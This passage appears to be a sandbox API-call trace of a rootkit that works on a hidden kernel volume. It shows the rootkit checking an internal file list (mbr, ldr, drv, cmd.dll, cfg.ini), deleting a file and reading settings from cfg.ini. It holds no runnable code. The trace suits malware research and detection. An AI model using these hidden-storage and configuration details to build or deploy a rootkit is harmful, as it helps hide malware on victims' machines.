dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.839] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.839] KeEnterCriticalRegion () [0123.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.839] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.839] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0123.839] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.839] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.839] IdePortDispatch () returned 0x103 [0123.839] KeWaitForMutexObject () returned 0x0 [0123.839] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.839] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.839] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.839] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.839] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.839] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.839] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.839] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.839] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.839] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.839] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.839] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.839] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.839] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.839] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.839] KeLeaveCriticalRegion () [0123.839] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.840] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.840] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.840] KeEnterCriticalRegion () [0123.840] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.840] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.840] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0123.840] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.840] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.840] IdePortDispatch () returned 0x103 [0123.840] KeWaitForMutexObject () returned 0x0 [0123.840] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.840] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.840] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.840] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.840] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.840] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.840] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.840] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.840] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.840] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.840] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.840] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.840] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.840] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.840] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.840] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.840] KeLeaveCriticalRegion () [0123.840] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.840] ReleaseMutex (hMutex=0x100) returned 1 [0123.840] Sleep (dwMilliseconds=0x2bf20) [0123.844] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d03dbf0, dwHighDateTime=0x1d24fa4)) [0123.844] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.844] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.849] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.849] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.849] KeEnterCriticalRegion () [0123.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.849] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.849] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0123.849] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.849] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.849] IdePortDispatch () returned 0x103 [0123.850] KeWaitForMutexObject () returned 0x0 [0123.850] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.850] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.850] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.850] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.850] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.850] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800392e990 [0123.850] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.850] KeLeaveCriticalRegion () [0123.850] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.850] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.850] KeEnterCriticalRegion () [0123.850] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.850] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0123.850] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.850] KeLeaveCriticalRegion () [0123.850] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.850] KeEnterCriticalRegion () [0123.850] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.850] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.850] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0123.850] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.850] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.850] IdePortDispatch () returned 0x103 [0123.850] KeWaitForMutexObject () returned 0x0 [0123.850] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.850] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.850] KeLeaveCriticalRegion () [0123.850] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.851] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.851] KeEnterCriticalRegion () [0123.851] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.851] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df2000 [0123.851] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.851] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0123.851] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.851] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.851] IdePortDispatch () returned 0x103 [0123.851] KeWaitForMutexObject () returned 0x0 [0123.851] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.851] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.851] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0123.851] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.851] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.851] IdePortDispatch () returned 0x103 [0123.851] KeWaitForMutexObject () returned 0x0 [0123.851] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.851] KeLeaveCriticalRegion () [0123.851] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.852] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.852] KeEnterCriticalRegion () [0123.852] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.852] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0123.852] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.852] KeLeaveCriticalRegion () [0123.852] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.852] KeEnterCriticalRegion () [0123.852] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.852] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0123.852] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bed200, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.852] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.852] KeLeaveCriticalRegion () [0123.852] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.852] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.852] KeEnterCriticalRegion () [0123.852] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.852] ExFreePoolWithTag (P=0xfffffa800392e990, Tag=0x0) [0123.852] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.852] KeLeaveCriticalRegion () [0123.852] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.852] ReleaseMutex (hMutex=0xf0) returned 1 [0123.852] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.857] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.857] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.857] KeEnterCriticalRegion () [0123.857] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.857] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.857] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0123.857] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.857] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.857] IdePortDispatch () returned 0x103 [0123.857] KeWaitForMutexObject () returned 0x0 [0123.857] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.857] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.857] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.857] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.857] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.857] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beea80 [0123.857] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.857] KeLeaveCriticalRegion () [0123.857] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.857] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.857] KeEnterCriticalRegion () [0123.857] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.857] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0123.857] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.857] KeLeaveCriticalRegion () [0123.857] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.857] KeEnterCriticalRegion () [0123.857] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.857] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.857] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0123.857] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.858] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.858] IdePortDispatch () returned 0x103 [0123.858] KeWaitForMutexObject () returned 0x0 [0123.858] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.858] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.858] KeLeaveCriticalRegion () [0123.858] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.858] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.858] KeEnterCriticalRegion () [0123.858] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.858] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df4000 [0123.858] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.858] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0123.858] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.858] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.858] IdePortDispatch () returned 0x103 [0123.858] KeWaitForMutexObject () returned 0x0 [0123.859] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.859] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.859] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0123.859] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.859] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.859] IdePortDispatch () returned 0x103 [0123.859] KeWaitForMutexObject () returned 0x0 [0123.859] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.859] KeLeaveCriticalRegion () [0123.859] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.860] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.860] KeEnterCriticalRegion () [0123.860] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.860] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0123.860] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.860] KeLeaveCriticalRegion () [0123.860] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.860] KeEnterCriticalRegion () [0123.860] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.860] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0123.860] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beeb40, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.860] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.860] KeLeaveCriticalRegion () [0123.860] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.860] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.860] KeEnterCriticalRegion () [0123.860] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.860] ExFreePoolWithTag (P=0xfffffa8003beea80, Tag=0x0) [0123.860] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.860] KeLeaveCriticalRegion () [0123.860] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.860] ReleaseMutex (hMutex=0xf0) returned 1 [0123.860] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.860] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.860] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.860] KeEnterCriticalRegion () [0123.860] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.860] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.860] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0123.860] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.861] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.861] IdePortDispatch () returned 0x103 [0123.861] KeWaitForMutexObject () returned 0x0 [0123.861] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.861] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.861] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.861] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.861] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.861] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beda50 [0123.861] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.861] KeLeaveCriticalRegion () [0123.861] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.861] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.861] KeEnterCriticalRegion () [0123.861] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.861] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0123.861] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.861] KeLeaveCriticalRegion () [0123.861] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.861] KeEnterCriticalRegion () [0123.861] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.861] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.861] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0123.861] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.861] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.861] IdePortDispatch () returned 0x103 [0123.862] KeWaitForMutexObject () returned 0x0 [0123.868] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.868] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.868] KeLeaveCriticalRegion () [0123.868] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.868] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.868] KeEnterCriticalRegion () [0123.868] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.868] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a5000 [0123.868] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.868] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0123.868] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.868] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.868] IdePortDispatch () returned 0x103 [0123.869] KeWaitForMutexObject () returned 0x0 [0123.869] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.869] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.869] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, 